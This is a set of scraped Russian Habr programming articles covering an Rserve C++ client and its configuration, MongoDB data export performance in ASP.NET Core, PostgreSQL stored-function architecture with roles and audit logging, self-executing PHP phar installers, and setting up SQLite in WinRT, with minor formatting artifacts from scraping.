Замечание насчет управления памятью: вся необходимая память аллоцируется объектом Rmessage, который неявно создается при вызове «eval». Собственником этого объекта является Rexp, возвращаемый eval'ом (назовём его главным). Нельзя освобождать никакие другие Rexp, кроме главного! Любой другой Rexp, ассоциированный с главным, становится недействительным после освобождения главного Rexp. Также после освобождения главного Rexp недействительными становятся все указатели (например, возвращаемые методом doubleArray()).
Скомпилируем
```
# g++ -c Rconnection.cc
# g++ Rconnection.o main.cpp -o RExample -lcrypt
```
и запустим
```
# ./RExample
Rdouble[4]
2 by 2 matrix
33.97 -2.1 -2.1 10.09
3.5 3 3.2 3.1 3.6 3.9 3.4 3.4 2.9 3.1 3.7 3.4 3 3 4 4.4 3.9 3.5 3.8 3.8 3.4 3.7 3.6 3.3 3.4 3 3.4 3.5 3.4 3.2 3.1 3.4 4.1 4.2 3.1 3.2 3.5 3.6 3 3.4 3.5 2.3 3.2 3.5 3.8 3 3.8 3.2 3.7 3.3 3.2 3.2 3.1 2.3 2.8 2.8 3.3 2.4 2.9 2.7 2 3 2.2 2.9 2.9 3.1 3 2.7 2.2 2.5 3.2 2.8 2.5 2.8 2.9 3 2.8 3 2.9 2.6 2.4 2.4 2.7 2.7 3 3.4 3.1 2.3 3 2.5 2.6 3 2.6 2.3 2.7 3 2.9 2.9 2.5 2.8 3.3 2.7 3 2.9 3 3 2.5 2.9 2.5 3.6 3.2 2.7 3 2.5 2.8 3.2 3 3.8 2.6 2.2 3.2 2.8 2.8 2.7 3.3 3.2 2.8 3 2.8 3 2.8 3.8 2.8 2.8 2.6 3 3.4 3.1 3 3.1 3.1 3.1 2.7 3.2 3.3 3 2.5 3 3.4 3
```
Готово! Более подробные сведения об интерфейсе взаимодействия с R можно получить, исследовав Rconnection.h.
#### Rserv.conf
Скажу пару слов о файле конфигураций Rserv.conf. Он предоставляет интересную возможность выполнять некоторый код на R сразу при старте Rserve. Файл настроек по умолчанию ищется в /etc/Rserv.conf, но можно задавать и другой путь, воспользовавшись флагом --RS-conf при запуске Rserve. Rserv.conf может содержать следующие опции:
```workdir [/tmp/Rserv]
pwdfile [none=disabled]
remote enable|disable [disable]`
`auth required|disable [disable]`
`plaintext enable|disable [disable]`
`fileio enable|disable [enable]`
`interactive yes|no [yes] (since 0.6-2)`
(с версии 0.1-9):
```````socket [none=disabled]
port [6311]
maxinbuf [262144]
(с версии 0.3):
maxsendbuf [0=unlimited]
uid [none]
gid [none]
su now|server|client [none] (since 0.6-1)`
(с версии 0.3-16):
``````source
eval
(с версии 0.5 и только в unix):
chroot [none]
sockmod [0=default]
umask [0]
(с версии 0.5-3):
encoding native|utf8|latin1 [native]`
Пакету Rserve и C++ клиенту для него уже много лет, однако никаких русскоязычных мануалов по ним я не нашёл. Надеюсь, что данная статья сэкономит кому-то немного времени.
P.S. Существует load-balancer для Rserve: [RSproxy](https://www.rforge.net/RSproxy/).
UPDATE: под Windows также необходима библиотека Ws2_32.lib.````````````` | https://habr.com/ru/post/198012/ | null | ru | null |
# Производительность выгрузки большого количества данных из Mongo в ASP.NET Core Web Api
 Возникла необходимость выгрузки большого количества данных на клиент из базы MongoDB. Данные представляют собой json, с информацией о машине, полученный от GPS трекера. Эти данные поступают с интервалом в 0.5 секунды. За сутки для одной машины получается примерно 172 000 записей.
Серверный код написан на ASP.NET CORE 2.0 с использованием стандартного драйвера MongoDB.Driver 2.4.4. В процессе тестирования сервиса выяснилось значительное потребление памяти процессом Web Api приложения — порядка 700 Мб, при выполнении одного запроса. При выполнении нескольких запросов параллельно объем памяти процесса может быть больше 1 Гб. Поскольку предполагается использование сервиса в контейнере на самом дешевом дроплете с оперативной памятью в 0.7 Гб, то большое потребление оперативной памяти привело к необходимости оптимизировать процесс выгрузки данных.
Таким образом, базовая реализация метода предполагает выгрузку всех данных и отправку их клиенту. Эта реализация представлена в листинге ниже.
#### Вариант 1 (все данные отправляются одновременно)
```
// Получить состояния по диапазону дат
// GET state/startDate/endDate
[HttpGet("{vin}/{startTimestamp}/{endTimestamp}")]
public async Task Get(string vin, DateTime startTimestamp,
DateTime endTimestamp)
{
// Фильтр
var builder = Builders.Filter;
// Набор фильтров
var filters = new List>
{
builder.Where(x => x.Vin == vin),
builder.Where(x => x.Timestamp >= startTimestamp
&& x.Timestamp <= endTimestamp)
};
// Объединение фильтров
var filterConcat = builder.And(filters);
using (var cursor = await database
.GetCollection(\_mongoConfig.CollectionName)
.FindAsync(filterConcat).ConfigureAwait(false))
{
var a = await cursor.ToListAsync().ConfigureAwait(false);
return \_mapper.Map, StatesViewModel>(a);
}
}
```
В качестве альтернативы применялся метод использования запросов с заданием номера начальной строки и количества выгружаемых строк, который показан ниже. В этом случае выгрузка осуществляется в поток Response для сокращения потребления оперативной памяти.
#### Вариант 2 (используются подзапросы и запись в поток Response)
```
// Получить состояния по диапазону дат
// GET state/startDate/endDate
[HttpGet("GetListQuaries/{vin}/{startTimestamp}/{endTimestamp}")]
public async Task GetListQuaries(string vin, DateTime startTimestamp,
DateTime endTimestamp)
{
Response.ContentType = "application/json";
await Response.WriteAsync("[").ConfigureAwait(false); ;
// Фильтр
var builder = Builders.Filter;
// Набор фильтров
var filters = new List>
{
builder.Where(x => x.Vin == vin),
builder.Where(x => x.Timestamp >= startTimestamp
&& x.Timestamp <= endTimestamp)
};
// Объединение фильтров
var filterConcat = builder.And(filters);
int batchSize = 15000;
int total = 0;
long count =await database.GetCollection
(\_mongoConfig.CollectionName)
.CountAsync((filterConcat));
while (total < count)
{
using (var cursor = await database
.GetCollection(\_mongoConfig.CollectionName)
.FindAsync(filterConcat, new FindOptions()
{Skip = total, Limit = batchSize})
.ConfigureAwait(false))
{
// Move to the next batch of docs
while (cursor.MoveNext())
{
var batch = cursor.Current;
foreach (var doc in batch)
{
await Response.WriteAsync(JsonConvert.SerializeObject(doc))
.ConfigureAwait(false);
}
}
}
total += batchSize;
}
await Response.WriteAsync("]").ConfigureAwait(false); ;
return new EmptyResult();
}
```
Также применялся вариант установки параметра BatchSize в курсоре, данные также записывались в поток Response.
#### Вариант 3 (используются параметр BatchSize и запись в поток Response)
```
// Получить состояния по диапазону дат
// GET state/startDate/endDate
[HttpGet("GetList/{vin}/{startTimestamp}/{endTimestamp}")]
public async Task GetList(string vin, DateTime startTimestamp, DateTime endTimestamp)
{
Response.ContentType = "application/json";
// Фильтр
var builder = Builders.Filter;
// Набор фильтров
var filters = new List>
{
builder.Where(x => x.Vin == vin),
builder.Where(x => x.Timestamp >= startTimestamp
&& x.Timestamp <= endTimestamp)
};
// Объединение фильтров
var filterConcat = builder.And(filters);
await Response.WriteAsync("[").ConfigureAwait(false); ;
using (var cursor = await database
.GetCollection (\_mongoConfig.CollectionName)
.FindAsync(filterConcat, new FindOptions
{ BatchSize = 15000 })
.ConfigureAwait(false))
{
// Move to the next batch of docs
while (await cursor.MoveNextAsync().ConfigureAwait(false))
{
var batch = cursor.Current;
foreach (var doc in batch)
{
await Response.WriteAsync(JsonConvert.SerializeObject(doc))
.ConfigureAwait(false);
}
}
}
await Response.WriteAsync("]").ConfigureAwait(false);
return new EmptyResult();
}
```
Одна запись в базе данных имеет следующую структуру:
```
{"Id":"5a108e0cf389230001fe52f1",
"Vin":"357973047728404",
"Timestamp":"2017-11-18T19:46:16Z",
"Name":null,
"FuelRemaining":null,
"EngineSpeed":null,
"Speed":0,
"Direction":340.0,
"FuelConsumption":null,
"Location":{"Longitude":37.27543,"Latitude":50.11379}}
```
Тестирование производительности осуществлялось при запросе с использованием HttpClient.
Интересными считаю не абсолютные значения, а их порядок.
Результаты тестирования производительности для трех вариантов реализации сведены в таблице ниже.
Данные из таблицы также представлены в виде диаграмм:
#### Выводы
Подведя итоги, можно сказать, что использование такого рода мер снижения потребления оперативной памяти приводит к существенному ухудшению производительности — более чем в 2 раза. Рекомендую не выгружать поля, которые не используются клиентом в текущий момент.
Делитесь своими методами решения подобной задачи к комментариях.
### Дополнения
Протестирован вариант реализации с yeild return
#### Вариант 4 (используются параметр BatchSize и yeild Return)
```
[HttpGet("GetListSync/{vin}/{startTimestamp}/{endTimestamp}")]
public IEnumerable GetListSync(string vin, DateTime startTimestamp, DateTime endTimestamp)
{
var filter = Builders.Filter
.Where(x => x.Vin == vin &&
x.Timestamp >= startTimestamp &&
x.Timestamp <= endTimestamp);
using (var cursor = \_mongoConfig.Database
.GetCollection(\_mongoConfig.CollectionName)
.FindSync(filter, new FindOptions { BatchSize = 10000 }))
{
while (cursor.MoveNext())
{
var batch = cursor.Current;
foreach (var doc in batch)
{
yield return doc;
}
}
}
}
```
Дополненные результаты сведены в таблицу:
Так же было замерено время на перемещение курсора `await cursor.MoveNextAsync()` в варианте 3 и сериализацию batch объектов
```
foreach (var doc in batch)
{
await Response.WriteAsync(JsonConvert.SerializeObject(doc));
}
```
с записью в поток вывода. Перемещение курсора занимает 1/3 времени, сериализация и вывод 2/3. Поэтому выгодно использовать StringBuilder для Batch около 2000, прирост памяти при этом незначительный, а время получения данных снижается более чем на треть до 6 — 7 секунд, уменьшается количество вызовов `await Response.WriteAsync(JsonConvert.SerializeObject(doc))`. Также можно сериализовать объект вручную. | https://habr.com/ru/post/343968/ | null | ru | null |
# Реализация бизнес-логики на уровне хранимых функций PostgreSQL
Побудительным мотивом к написанию этюда послужила статья [«В карантин нагрузка выросла в 5 раз, но мы были готовы». Как Lingualeo переехал на PostgreSQL с 23 млн юзеров](https://habr.com/ru/company/lingualeo/blog/515530/). Так же показалось интересной статья опубликованная 4 года назад — [Реализация бизнес-логики в MySQL](https://habr.com/ru/post/312134/).
Показалось интересным то, что одна и та же мысль-"***реализовать бизнес-логику в БД***".
пришла в голову не только мне одному.
Также на будущее хотелось сохранить, для себя в первую очередь, интересные наработки возникшие по ходу реализации. Особенно учитывая то, что относительно недавно было принято стратегическое решение о смене архитектуры и переносе бизнес-логики на уровень backend. Так, что все, что было наработано, скоро никому не понадобится и никому будет не интересно.
Описанные методы не являются каким то открытием и исключительным *know how*, все по классике и было реализовано неоднократно (я например подобный подход применил 20 лет назад на Oracle).Просто решил собрал все в одном месте. Вдруг кому пригодится. Как показала практика — довольно часто одна и та же идея приходит независимо разным людям. Да и для себя оставить на память, полезно.
> Конечно, же ничто в этом мире не совершенно, ошибки и опечатки к сожалению возможны. Критика и замечания всячески приветствуются и ожидаются.И еще одна маленькая деталь — конкретные детали реализации опущены. Все таки всё используется пока в реально работающем проекте. Так, что статья как этюд и описание общей концепции, не более того. Надеюсь для понятия общей картины, деталей достаточно.
Общая идея — «разделяй и властвуй, скрывай и владей»
----------------------------------------------------
*Идея классическая — отдельная схема для таблиц, отдельная схема для хранимых функций.
Клиент не имеет доступа к данным напрямую. Все, что клиент может выполнить — только вызвать хранимую функцию и обработать полученный ответ.*
#### Роли
```
CREATE ROLE store;
```
```
CREATE ROLE sys_functions;
```
```
CREATE ROLE loc_audit_functions;
```
```
CREATE ROLE service_functions;
```
```
CREATE ROLE business_functions;
```
#### Схемы
**Схема хранения таблиц**
Целевые таблицы, реализующие предметные сущности.
```
CREATE SCHEMA store AUTHORIZATION store ;
```
**Схема системных функций**
Системные функции, в частности для логирования изменения таблиц.
```
CREATE SCHEMA sys_functions AUTHORIZATION sys_functions ;
```
**Схема локального аудита**
Функции и таблицы для реализации локального аудита выполнения хранимых функций и изменения целевых таблиц.
```
CREATE SCHEMA loc_audit_functions AUTHORIZATION loc_audit_functions;
```
**Схема сервисных функций**
Функции для сервисных и DML функций.
```
CREATE SCHEMA service_functions AUTHORIZATION service_functions;
```
**Схема бизнес функций**
Функции для конечных бизнес функций вызываемых клиентом.
```
CREATE SCHEMA business_functions AUTHORIZATION business_functions;
```
#### Права доступа
Роль — **DBA** имеет полный доступ ко всем схемам (отделена от роли DB Owner).
```
CREATE ROLE dba_role;
GRANT store TO dba_role;
GRANT sys_functions TO dba_role;
GRANT loc_audit_functions TO dba_role;
GRANT service_functions TO dba_role;
GRANT business_functions TO dba_role;
```
Роль — **USER** имеет привилегию **EXECUTE** в схеме **business\_functions**.
```
CREATE ROLE user_role;
```
#### Привилегии между схемами
**GRANT**
Поскольку все функции создаются с атрибутом *SECURITY DEFINER* необходима инструкция *REVOKE EXECUTE ON ALL FUNCTION… FROM public;*
```
REVOKE EXECUTE ON ALL FUNCTION IN SCHEMA sys_functions FROM public ;
REVOKE EXECUTE ON ALL FUNCTION IN SCHEMA loc_audit_functions FROM public ;
REVOKE EXECUTE ON ALL FUNCTION IN SCHEMA service_functions FROM public ;
REVOKE EXECUTE ON ALL FUNCTION IN SCHEMA business_functions FROM public ;
GRANT USAGE ON SCHEMA sys_functions TO dba_role ;
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA sys_functions TO dba_role ;
GRANT USAGE ON SCHEMA loc_audit_functions TO dba_role ;
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA loc_audit_functions TO dba_role ;
GRANT USAGE ON SCHEMA service_functions TO dba_role ;
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA service_functions TO dba_role ;
GRANT USAGE ON SCHEMA business_functions TO dba_role ;
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA business_functions TO dba_role ;
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA business_functions TO user_role ;
GRANT ALL PRIVILEGES ON SCHEMA store TO GROUP business_functions ;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA store TO business_functions ;
GRANT USAGE ON ALL SEQUENCES IN SCHEMA store TO business_functions ;
```
Итак схема БД — готова. Можно приступать к наполнению данными.
### Целевые таблицы
Создание таблиц тривиально. Никаких особенностей, за исключением того, что было решено отказаться от использования *SERIAL* и генерировать последовательности явно. Плюс, разумеется максимальное использование инструкции
```
COMMENT ON ...
```
Комментарии для **всех** объектов, без исключений.
### Локальный аудит
Для ведения журнала выполнения хранимых функций и изменения целевых таблиц используется таблица локального аудита, включающая в себя в том числе детали клиентского соединения, метку вызываемого модуля, фактические значения входных и выходных параметров в виде JSON.
### Системные функции
Предназначены для логирования изменений в целевых таблицах. Представляют собой триггерные функции.
**Шаблон - системная функция**
```
---------------------------------------------------------
-- INSERT
CREATE OR REPLACE FUNCTION sys_functions.table_insert_log ()
RETURNS TRIGGER AS $$
BEGIN
PERFORM loc_audit_functions.make_log( ' '||'table' , 'insert' , json_build_object('id', NEW.id) );
RETURN NULL ;
END
$$ LANGUAGE plpgsql SECURITY DEFINER;
CREATE TRIGGER table_after_insert AFTER INSERT ON storage.table FOR EACH ROW EXECUTE PROCEDURE sys_functions.table_insert_log();
---------------------------------------------------------
-- UPDATE
CREATE OR REPLACE FUNCTION sys_functions.table_update_log ()
RETURNS TRIGGER AS $$
BEGIN
IF OLD.column != NEW.column
THEN
PERFORM loc_audit_functions.make_log( ' '||'table' , 'update' , json_build_object('OLD.column', OLD.column , 'NEW.column' , NEW.column ) );
END IF ;
RETURN NULL ;
END
$$ LANGUAGE plpgsql SECURITY DEFINER;
CREATE TRIGGER table_after_update AFTER UPDATE ON storage.table FOR EACH ROW EXECUTE PROCEDURE sys_functions.table_update_log ();
---------------------------------------------------------
-- DELETE
CREATE OR REPLACE FUNCTION sys_functions.table_delete_log ()
RETURNS TRIGGER AS $$
BEGIN
PERFORM loc_audit_functions.make_log( ' '||'table' , 'delete' , json_build_object('id', OLD.id ) );
RETURN NULL ;
END
$$ LANGUAGE plpgsql SECURITY DEFINER;
CREATE TRIGGER table_after_delete AFTER DELETE ON storage.table FOR EACH ROW EXECUTE PROCEDURE sys_functions.table_delete_log ();
```
### Сервисные функции
Предназначены для реализации сервисных и DML операций над целевыми таблицами.
**Шаблон - сервисная функция**
```
--INSERT
--RETURN id OF NEW ROW
CREATE OR REPLACE FUNCTION service_functions.table_insert ( new_column store.table.column%TYPE )
RETURNS integer AS $$
DECLARE
new_id integer ;
BEGIN
-- Generate new id
new_id = nextval('store.table.seq');
-- Insert into table
INSERT INTO store.table
(
id ,
column
)
VALUES
(
new_id ,
new_column
);
RETURN new_id ;
END
$$ LANGUAGE plpgsql SECURITY DEFINER;
--DELETE
--RETURN ROW NUMBERS DELETED
CREATE OR REPLACE FUNCTION service_functions.table_delete ( current_id integer )
RETURNS integer AS $$
DECLARE
rows_count integer ;
BEGIN
DELETE FROM store.table WHERE id = current_id;
GET DIAGNOSTICS rows_count = ROW_COUNT;
RETURN rows_count ;
END
$$ LANGUAGE plpgsql SECURITY DEFINER;
-- UPDATE DETAILS
-- RETURN ROW NUMBERS UPDATED
CREATE OR REPLACE FUNCTION service_functions.table_update_column
(
current_id integer
,new_column store.table.column%TYPE
)
RETURNS integer AS $$
DECLARE
rows_count integer ;
BEGIN
UPDATE store.table
SET
column = new_column
WHERE id = current_id;
GET DIAGNOSTICS rows_count = ROW_COUNT;
RETURN rows_count ;
END
$$ LANGUAGE plpgsql SECURITY DEFINER;
```
### Бизнес функции
Предназначены для конечных бизнес функций вызываемый клиентом. Возвращают всегда — **JSON**. Для перехвата и логирования ошибок выполнения, используется блок **EXCEPTION**.
**Шаблон - бизнес функция**
```
CREATE OR REPLACE FUNCTION business_functions.business_function_template(
--Input parameters
)
RETURNS JSON AS $$
DECLARE
------------------------
--for exception catching
error_message text ;
error_json json ;
result json ;
------------------------
BEGIN
--LOGGING
PERFORM loc_audit_functions.make_log
(
'business_function_template',
'STARTED',
json_build_object
(
--IN Parameters
)
);
PERFORM business_functions.notice('business_function_template');
--START BUSINESS PART
--END BUSINESS PART
-- SUCCESFULLY RESULT
PERFORM business_functions.notice('result');
PERFORM business_functions.notice(result);
PERFORM loc_audit_functions.make_log
(
'business_function_template',
'FINISHED',
json_build_object( 'result',result )
);
RETURN result ;
----------------------------------------------------------------------------------------------------------
-- EXCEPTION CATCHING
EXCEPTION
WHEN OTHERS THEN
PERFORM loc_audit_functions.make_log
(
'business_function_template',
'STARTED',
json_build_object
(
--IN Parameters
) , TRUE );
PERFORM loc_audit_functions.make_log
(
'business_function_template',
' ERROR',
json_build_object('SQLSTATE',SQLSTATE ), TRUE
);
PERFORM loc_audit_functions.make_log
(
'business_function_template',
' ERROR',
json_build_object('SQLERRM',SQLERRM ), TRUE
);
GET STACKED DIAGNOSTICS error_message = RETURNED_SQLSTATE ;
PERFORM loc_audit_functions.make_log
(
'business_function_template',
' ERROR-RETURNED_SQLSTATE',json_build_object('RETURNED_SQLSTATE',error_message ), TRUE );
GET STACKED DIAGNOSTICS error_message = COLUMN_NAME ;
PERFORM loc_audit_functions.make_log
(
'business_function_template',
' ERROR-COLUMN_NAME',
json_build_object('COLUMN_NAME',error_message ), TRUE );
GET STACKED DIAGNOSTICS error_message = CONSTRAINT_NAME ;
PERFORM loc_audit_functions.make_log
(
'business_function_template',
' ERROR-CONSTRAINT_NAME',
json_build_object('CONSTRAINT_NAME',error_message ), TRUE );
GET STACKED DIAGNOSTICS error_message = PG_DATATYPE_NAME ;
PERFORM loc_audit_functions.make_log
(
'business_function_template',
' ERROR-PG_DATATYPE_NAME',
json_build_object('PG_DATATYPE_NAME',error_message ), TRUE );
GET STACKED DIAGNOSTICS error_message = MESSAGE_TEXT ;
PERFORM loc_audit_functions.make_log
(
'business_function_template',
' ERROR-MESSAGE_TEXT',json_build_object('MESSAGE_TEXT',error_message ), TRUE );
GET STACKED DIAGNOSTICS error_message = SCHEMA_NAME ;
PERFORM loc_audit_functions.make_log
(s
'business_function_template',
' ERROR-SCHEMA_NAME',json_build_object('SCHEMA_NAME',error_message ), TRUE );
GET STACKED DIAGNOSTICS error_message = PG_EXCEPTION_DETAIL ;
PERFORM loc_audit_functions.make_log
(
'business_function_template',
' ERROR-PG_EXCEPTION_DETAIL',
json_build_object('PG_EXCEPTION_DETAIL',error_message ), TRUE );
GET STACKED DIAGNOSTICS error_message = PG_EXCEPTION_HINT ;
PERFORM loc_audit_functions.make_log
(
'business_function_template',
' ERROR-PG_EXCEPTION_HINT',json_build_object('PG_EXCEPTION_HINT',error_message ), TRUE );
GET STACKED DIAGNOSTICS error_message = PG_EXCEPTION_CONTEXT ;
PERFORM loc_audit_functions.make_log
(
'business_function_template',
' ERROR-PG_EXCEPTION_CONTEXT',json_build_object('PG_EXCEPTION_CONTEXT',error_message ), TRUE );
RAISE WARNING 'ALARM: %' , SQLERRM ;
SELECT json_build_object
(
'isError' , TRUE ,
'errorMsg' , SQLERRM
) INTO error_json ;
RETURN error_json ;
END
$$ LANGUAGE plpgsql SECURITY DEFINER;
```
Итог
----
Для описания общей картины, думаю вполне достаточно. Если кого заинтересовали детали и результаты-пишите комментарии, с удовольствием дополню картину дополнительными штрихами.
P.S.
----
**Логирование простой ошибки - тип входного параметра**
```
-[ RECORD 1 ]-
date_trunc | 2020-08-19 13:15:46
id | 1072
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | STARTED
jsonb_pretty | {
| "dko": {
| "id": 4,
| "type": "Type1",
| "title": "CREATED BY addKD",
| "Weight": 10,
| "Tr": "300",
| "reduction": 10,
| "isTrud": "TRUE",
| "description": "decription",
| "lowerTr": "100",
| "measurement": "measurement1",
| "methodology": "m1",
| "passportUrl": "files",
| "upperTr": "200",
| "weightingFactor": 100.123,
| "actualTrValue": null,
| "upperTrCalcNumber": "120"
| },
| "CardId": 3
| }
-[ RECORD 2 ]-
date_trunc | 2020-08-19 13:15:46
id | 1073
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR
jsonb_pretty | {
| "SQLSTATE": "22P02"
| }
-[ RECORD 3 ]-
date_trunc | 2020-08-19 13:15:46
id | 1074
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR
jsonb_pretty | {
| "SQLERRM": "invalid input syntax for type numeric: \"null\""
| }
-[ RECORD 4 ]-
date_trunc | 2020-08-19 13:15:46
id | 1075
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR-RETURNED_SQLSTATE
jsonb_pretty | {
| "RETURNED_SQLSTATE": "22P02"
| }
-[ RECORD 5 ]-
date_trunc | 2020-08-19 13:15:46
id | 1076
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR-COLUMN_NAME
jsonb_pretty | {
| "COLUMN_NAME": ""
| }
-[ RECORD 6 ]-
date_trunc | 2020-08-19 13:15:46
id | 1077
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR-CONSTRAINT_NAME
jsonb_pretty | {
| "CONSTRAINT_NAME": ""
| }
-[ RECORD 7 ]-
date_trunc | 2020-08-19 13:15:46
id | 1078
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR-PG_DATATYPE_NAME
jsonb_pretty | {
| "PG_DATATYPE_NAME": ""
| }
-[ RECORD 8 ]-
date_trunc | 2020-08-19 13:15:46
id | 1079
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR-MESSAGE_TEXT
jsonb_pretty | {
| "MESSAGE_TEXT": "invalid input syntax for type numeric: \"null\""
| }
-[ RECORD 9 ]-
date_trunc | 2020-08-19 13:15:46
id | 1080
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR-SCHEMA_NAME
jsonb_pretty | {
| "SCHEMA_NAME": ""
| }
-[ RECORD 10 ]-
date_trunc | 2020-08-19 13:15:46
id | 1081
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR-PG_EXCEPTION_DETAIL
jsonb_pretty | {
| "PG_EXCEPTION_DETAIL": ""
| }
-[ RECORD 11 ]-
date_trunc | 2020-08-19 13:15:46
id | 1082
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR-PG_EXCEPTION_HINT
jsonb_pretty | {
| "PG_EXCEPTION_HINT": ""
| }
-[ RECORD 12 ]-
date_trunc | 2020-08-19 13:15:46
id | 1083
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR-PG_EXCEPTION_CONTEXT
jsonb_pretty | {
usename | emp1
log_module | addKD
log_module_hash | 0b4c1529a89af3ddf6af3821dc790e8a
status | ERROR-MESSAGE_TEXT
jsonb_pretty | {
| "MESSAGE_TEXT": "invalid input syntax for type numeric: \"null\""
| }
``` | https://habr.com/ru/post/515628/ | null | ru | null |
# Самоисполняемый phar как способ распространения веб-приложений
Как уже, наверное, всем известно, в PHP 5.3 появилась поддержка специального типа архивов с расширением .phar. Те, кто не в курсе — могут почитать отличную статью [.phar — исполняемые PHP-архивы](http://habrahabr.ru/post/118269/)
Область применения, которая сразу приходит на ум — это библиотеки/фреймворки в виде подключаемых \*.phar архивов и установщики веб-приложений, например, CMS. О последних я и собираюсь рассказать подробнее и с примерами.
#### Постановка задачи
Цель — получить на выходе один файл, который будет сам по себе исполняемым, и будет содержать в себе все нужные файлы. Если провести аналогию c обычными приложениями — это приложение, которое запаковано в SFX (self-extracting archive).
#### Требования
Примеры в статье написаны для PHP 5.4 (но их легко подправить под 5.3), а так же используется PEAR библиотека Archive\_Tar для создания нативных \*.tar архивов.
Возьмем для примера простейшую структуру:
```
build.php
index.php
install.php
readme.txt
```
Естественно, файл install.php нужен только на этапе установки, а build.php только на этапе сборки. Файл readme.txt будем создавать на этапе сборки.
#### Создание tar
Сначала мы соберем нужные файлы в tar, это дает возможность обойти некоторые ограничения \*.phar формата, например, недопустимость кириллицы в названии файла. Если использовать для этого Phar или PharData — придется переименовывать файлы в допустимый вид при запаковке, и обратно в исходный вид при распаковке.
Создаем tar архив:
```
//Подключаем PEAR библиотеку
require_once 'Archive/Tar.php';
//Создаем файл
$tar = new Archive_Tar(__DIR__.'/system.phar.tar');
```
Расширение файла указано .phar.tar для того, чтобы php мог с ним работать.
Добавляем файлы в архив:
```
//Добавляем существующие файлы
$tar->createModify(
[
'index.php',
'install.php'
],
null,
__DIR__
);
//Третий параметр для того, чтобы получить внутри архива пути относительно текущей директории, а не корня файловой системы.
//Создаем readme.txt, в котором сохраним дату и время сборки проекта
$tar->addString(
'readme.txt',
"This is demo project\nBuilt ".date('d-m-Y').' at '.date('H:i')
);
```
#### Превращаем tar в phar
Создадим из полученного архива так называемый tar-based phar.
```
//Открываем существующий архив
$phar = new Phar(__DIR__.'/system.phar.tar');
//Конвертируем с bz2 сжатием, назначаем расширение .phar
$phar->convertToExecutable(Phar::TAR, Phar::BZ2, '.phar');
```
#### Делаем архив само исполняемым
Для этого нужно задать файл, который будет открываться при попытке прямого доступа к файлу веб-сервером. По-умолчанию это index.php, но у нас установка, поэтому нужно открыть install.php
```
//Открываем конвертированный архив
$phar = new Phar(__DIR__.'/system.phar');
//Меняем открываемый по умолчанию файл
$phar->setStub("php Phar::webPhar(null, 'install.php'); __HALT_COMPILER();");
//Переименовываем
rename(__DIR__.'/system.phar', __DIR__.'/system.phar.php');
</code
```
Странный формат .phar.php играет очень важную роль. Расширение .php заставляет передавать файл интерпретатору PHP, а .phar дает понять, что это архив, а не файл с исходным кодом. По-сути, архив превращается в директорию, например, можно ввести в адресной строке браузера /system.phar.php/index.php — и это будет работать.
#### Установка
Листинг install.php, который производит установку
```
//Определяем путь к корню, где лежит архив, находясь внутри него
$root = substr(pathinfo(__DIR__, PATHINFO_DIRNAME), 7);
//Открываем и распаковываем 2 файла из архива в корень
(new Phar($root.'/'.pathinfo(__DIR__, PATHINFO_BASENAME)))->extractTo(
$root,
[
'index.php',
'readme.txt'
]
);
//Удаляем архив (не обязательно)
unlink($root.'/'.pathinfo(__DIR__, PATHINFO_BASENAME));
```
И герой, ради которого затевалась вся кухня — index.php
```
echo 'I was inside the phar archive';
```
Надеюсь, кому-то эта информация будет полезна, и всё больше продуктов будет поставляться не в виде zip/rar/tar/gz/bz2 архивов, а нативного phar, для чего он и был создан.
[Исходные файлы](https://dl.dropbox.com/u/62195352/phar.tar) [system.phar.php](https://dl.dropbox.com/u/62195352/system.phar.php) | https://habr.com/ru/post/148773/ | null | ru | null |
# Работа с данными в WinRT. Часть 2. Работа с БД на примере SQLite
В предыдущей [части](http://habrahabr.ru/post/151467/) мы рассматривали как получить доступ к файловому хранилищу приложения. Так как есть прямой доступ к файловому хранилищу, мы можем воспользоваться практически любой встраиваемой БД. На сегодняшний день SQLite, пожалуй, является самой популярной кроссплатформенной встраиваемой базой данных. В связи с этим при портировании приложений скорее всего придется работать с SQLite, работу с которым будем рассматривать далее.
В целом статья получилось больше похожей на инструкцию по установке и работе SQL Lite.
В статье будет описано
Установка расширения для сутдии.
Добавление SQLite в проект
Добавление провайдера sqlite-net
Работа с БД через linq провайдер (в стиле LinqToSql, EF)
Работа с БД через SQL запросы (в стиле ADO.NET)
В демонстрационном [проекте](http://akhmed.ru/blogmaterials/sourcecode/applicationdata/FileStorageDB.zip) к статье приложен очень простой пример работы со списком книг который будет рассматриваться в статье.
В [блоге Tim Heuer](http://timheuer.com/blog/) есть прекрасная [статья](http://timheuer.com/blog/archive/2012/08/07/updated-how-to-using-sqlite-from-windows-store-apps.aspx) о том как добавить поддержку SQLite. Рассмотрим здесь инструкцию по добавлению SQLite.
#### Подготовка студии. Установка расширения.
Самым простым способом предоставления возможности работы с SQLite является установка специального расширения. Для этого открываем Extensions and Updates (В меню Tools).
После установки расширения потребуется перезапуск студии и теперь мы сможем в наших проектах добавлять ссылку на библиотеку SQLite в наши проекты
#### Добавление SQLite в проект
В первую очередь необходимо добавить ссылку на библиотеки SQLite (Правой кнопкой на проекте – Add reference):
